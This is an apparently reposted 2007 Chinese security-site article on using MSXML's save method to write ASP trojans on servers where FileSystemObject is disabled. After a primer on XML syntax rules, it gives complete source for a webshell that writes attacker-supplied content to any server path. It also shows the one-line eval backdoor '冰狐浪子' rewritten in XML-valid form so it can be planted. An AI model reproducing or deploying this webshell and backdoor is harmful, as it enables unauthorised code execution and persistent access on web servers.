| 网站首页 | 新闻中心 | 系统安全 | 网络安全 | 安全技术 | 下载中心 | 安全365社区 |
安全365
收藏本站
设为首页
会员登录:
安全365
站内搜索: 新闻中心 系统安全 网络安全 安全技术 下载中心
| 安全技术首页 | 技术研究 | 技术应用 | 数据安全 | 企业专区 |
XML木马研究
XML木马研究
作者:不详 文章来源:华盟收集 点击数: 更新时间:2007-5-25 13:52:53

这几天一直在学XML,忽然看到了xmlDoc中有一个.SAVE方法,我们就可以在没有FSO的机子上写ASP木马了。
FSO(FileSystemObject)是微软ASP的一个对文件操作的控件,不过好多的个人服务器都不支持或改名了,我们只可以望而生悲了。
首先了解一下XML需要的系统是WINDOWS 2000以上,也就是说我们不必在系统上安装XML parser解析也可以支持XML了。我们狂笑吧,在也不怕服务器上的FSO被改名了。
首先我们介绍一下HTML与XML代码的规范化
1.所有的XML文档必须有一个结束标记
在XML文档中, 忽略结束标记是不符合规定的。
在HTML文档中,一些元素可以是没有结束标记的。下面的代码在HTML中是完全合法的:
<p>Holle FLASHBOY
<p>www.xflashboy.com
但是在XML文档中必须要有结束标记,像下面的例子一样:
<p> Holle FLASHBOY </p>
<p> www.xflashboy.com </p>
2. XML标记都是大小写敏感的
这与HTML不一样, XML标记是大小写敏感的。
在XML中, 标记<Letter>与标记<letter>是两个不同的标记。
因此在XML文档中开始标记和结束标记的大小写必须保持一致。
<Message>This is incorrect</message> //错误的
<message>This is correct</message> //正确的
3.所有的XML元素必须合理包含
在XML中不允许不正确的嵌套包含。
在HTML中,允许有一些不正确的包含,例如下面的代码可以被浏览器解析:
<b><i>This text is bold and italic</b></i>
在XML中所有元素必须正确的嵌套包含,上面的代码应该这样写:
<b><i>This text is bold and italic</i></b>
4.所有的XML文档必须有一个根元素
XML文档中的第一个元素就是根元素。
所有XML文档都必须包含一个单独的标记来定义,所有其他元素的都必须成对的在根元素中嵌套。XML文档有且只能有一个根元素。
所有的元素都可以有子元素,子元素必须正确的嵌套在父元素中。
下面的代码可以形象的说明:

以下是代码片段:
<root>
<child>
<subchild>.....</subchild>
</child>
</root>


5.属性值必须使用引号""
在XML中,元素的属性值没有引号引着是不符合规定的。

如同HTML一样,XML元素同样也可以拥有属性。XML元素的属性以名字/值成对的出现。XML语法规范要求XML元素属性值必须用引号引着。请看下面的两个例子,第一个是错误的,第二个是正确的。
<?xml version="1.0" encoding="ISO-8859-1"?>
<note date=12/11/99>
<to>Lin</to>
<from>Ordm</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>

<?xml version="1.0" encoding="ISO-8859-1"?>
<note date="12/11/99">
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
第一个文档的错误之处是属性值没有用引号引着。
正确的写法是: date="12/11/99". 不正确的写法: date=12/11/99.
这几个是XML中的重点,如果不按照这样的话XML是不会创建文件的。
6.数据中不能含有"<" ">"“&”符号
在代码中可以使用 "< "与 "> "代替"<" ">"符号

[NextPage]

这们来详细了解一下这几个方法吧
xmlDoc.loadXml(xmlString) 这是用XML的LOAD方法来加载一段XML DOCUMENT到对象中,这里加载的是"xmlString"
注意:在这一个字符串中一定要满足XML语言的要求(在文章前面已经写过),如果不按照的话只能创建一个空的文件,有些读者写入不成功就是因为这一个原因。
xmlDoc.save(server.mappath("test.htm")) 这是把上一句的内容写入"test.htm"这一个文件。
XMLname.save(response) 这种方法中,MSXML作为一个ISTEAM接口,save方法使得MSXML在Response对象中查找MSXML的流接口,然后便用这个接口,将文档直接送到请求用户的流中。
server.mappath是按照相对路径写入,如果要用绝对路径就用xmlDoc.save("test.htm")

现在我们看一下木马的源程序

以下是代码片段:
<%on error resume next%>
<form id="form1" name="form1" method="post" action=''''>
//创建一个提交表单
<p>木马内容</p>
<p><textarea name="flashboy" cols="80" rows="10"></textarea></p>
//创建一个文本框
<p>路径</p>
<p><input name="textfield" type="text" size="50" /></p>
<p><input type="submit" name="Submit" value="提交" /></p></form>
<p><%Response.write "本文件绝对路径"%>
<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%></p>
//获取本文件的绝对路径
<%
dim xmlString
//创建xmlString,默认为字符串
dim xmlDoc
//创建xmlDoc
xmlString= Request("flashboy")
//取得文本框中的数据
set xmlDoc = server.createObject("Msxml2.DOMDocument")
//定义xmlDoc属于Msxml2.DOMDocument
xmlDoc.loadXml(xmlString)
//加载xmlString到对象中
f=Request("textfield")
//取出输入的文件路径
xmlDoc.save(f)
//保存xmlDoc.loadXml到输入的文件路径中
set xmlDoc=nothing
//清空xmlDoc
%>

测试木马
我们就用冰狐浪子微型ASP后门2.0 来测试一下吧
我们看看源码
以下是代码片段:
<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>try{eval(Request.form('#')+'')}catch(e){}</SCRIPT>

是不是不符合我们刚刚说的XML规范?
我们来动手改一下吧
RUNAT=SERVER LANGUAGE=JAVASCRIPT 这两个属性值没有引号引着,我们打他改成
RUNAT= " SERVER " LANGUAGE= " JAVASCRIPT "
整个ASP木马就成了
<SCRIPT RUNAT="SERVER" LANGUAGE="JAVASCRIPT">try{eval(Request.form('#')+'')}catch(e){}</SCRIPT>
现在可以把他写入服务器了。

顺便说一下,如果要写入任意的字符串,如FLASHBOY,直接写是写不进去的,因为XML是须要节点的,可以这样写<a> FLASHBOY</a> <b>FLASHBOY</b> <c>FLASHBOY</c>

文章录入:杰瑞    责任编辑:杰瑞 
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
     
     
     
    金睛火眼—从进程中判断
    木马清除软件列表
    一秒识破机器里是否有QQ
    警惕!游戏木马生成器的
    军事秘密遭木马曝光 日本
    小心!针对魔兽世界的新
    警惕!游戏木马生成器的
    军事秘密遭木马曝光 日本
    小心!针对魔兽世界的新
    Windows系统专用木马、间
    站长邮箱:webmaster@anquan365.com
    联系电话:86-10-67634029
    Copyright © 2006-2008 www.anquan365.com 北京华安普特网络科技有限公司 版权所有